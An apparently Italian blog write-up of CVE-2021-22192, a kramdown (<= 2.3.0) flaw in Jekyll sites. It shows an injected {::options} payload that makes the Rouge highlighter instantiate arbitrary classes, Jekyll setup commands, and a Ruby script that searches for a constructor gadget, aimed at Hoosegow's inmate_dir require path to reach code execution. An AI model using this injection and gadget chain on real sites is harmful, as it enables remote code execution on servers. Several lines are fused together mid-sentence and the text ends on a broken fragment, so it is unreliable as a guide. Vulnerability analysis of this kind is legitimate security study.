
CVE-2021-22192
Quando ho iniziato ad analizzare questa vulnerabilità, avevo solo alcune preziose informazioni da lyy289065406 che mi hanno permesso di capire il problema centrale di questo bug. Sembra che l'errore risieda nella gem kramdown (<= 2.3.0), quindi ho iniziato a studiare kramdown per prima cosa.
Possiamo esaminare la patch di kramdown e notiamo la differenza nella funzione formatter_class all'interno del modulo Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) è stato trasformato in ::Rouge::Formatters.const_get(formatter, false)
La funzione const_get è ereditata dalla classe Object e può recuperare le costanti. Può persino restituire le classi già dichiarate che riesce a trovare. La differenza qui è solo l'aggiunta di un parametro false. L'aggiunta del parametro false impedisce a const_get di recuperare le costanti dalle classi madri o dai moduli.
C'è un dettaglio ancora più particolare: nella funzione self.call viene chiamata formatter_class e poi new(opts). Questo significa che il metodo recuperato tramite const_get viene passato al costruttore per essere istanziato.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Basandoci su Kramdown:Options possiamo chiamare la funzione Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Inoltre, nel modulo Kramdown:Options, la funzione simple_hash_validator chiama YAML.safe_load(val). Quindi possiamo configurare un file YML per passare il payload desiderato a Kramdown::Converter::SyntaxHighlighter::Rouge.
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Prima di tutto devo preparare jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock portando la versione di kramdown a <= 2.3.0cd jekyllTest
File Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Così abbiamo finito di creare una pagina jekyll. Ora possiamo inserire il payload per vedere se Kramdown::Converter::SyntaxHighlighter::Rouge.call riesce davvero a chiamare un metodo.
possiamo aggiungere al file ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Oppure usare un documento kramdown aggiungendo il payload in ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Qui ho usato il secondo metodo =)))))
- procediamo a deployare la pagina jekyll
bundle exec jekyll serve
*potreste incontrare l'errore "`require': cannot load such file -- webrick (LoadError)`; in tal caso dovete aggiungere `gem "webrick"` al Gemfile*
- Vediamo il messaggio di errore `private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:`. Questo dimostra che la classe CSV è stata chiamata.
#### Il passo successivo è determinare quale metodo scegliere affinché la chiamata al costruttore possa causare una RCE?
Secondo un articolo di analisi [CVE-2020-10518](https://blog.csdn.net/smellycat000/article/details/109302520) che sfrutta il bug in kramdown per causare una RCE su GitHub, ho puntato alla classe Hoosegow:
- Vediamo che nella funzione `initialize` di Hoosegow viene chiamata `load_inmate_methods`
```ruby
def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods vediamo che chiama require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Ma inmate_file viene creato concatenando @inmate_dir con 'inmate.rb'. Se riusciamo a chiamare questa classe e a modificare il parametro inmate_dir impostandolo sul percorso del nostro file payload, non è proprio lì che avviene la RCE?
Ho eseguito uno script nella directory della pagina jekyll per verificare i metodi definiti:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" al Gemfile e lo script ha trovato la classe. [Hehe]Hoosegow tramite kramdown per vedere cosa succede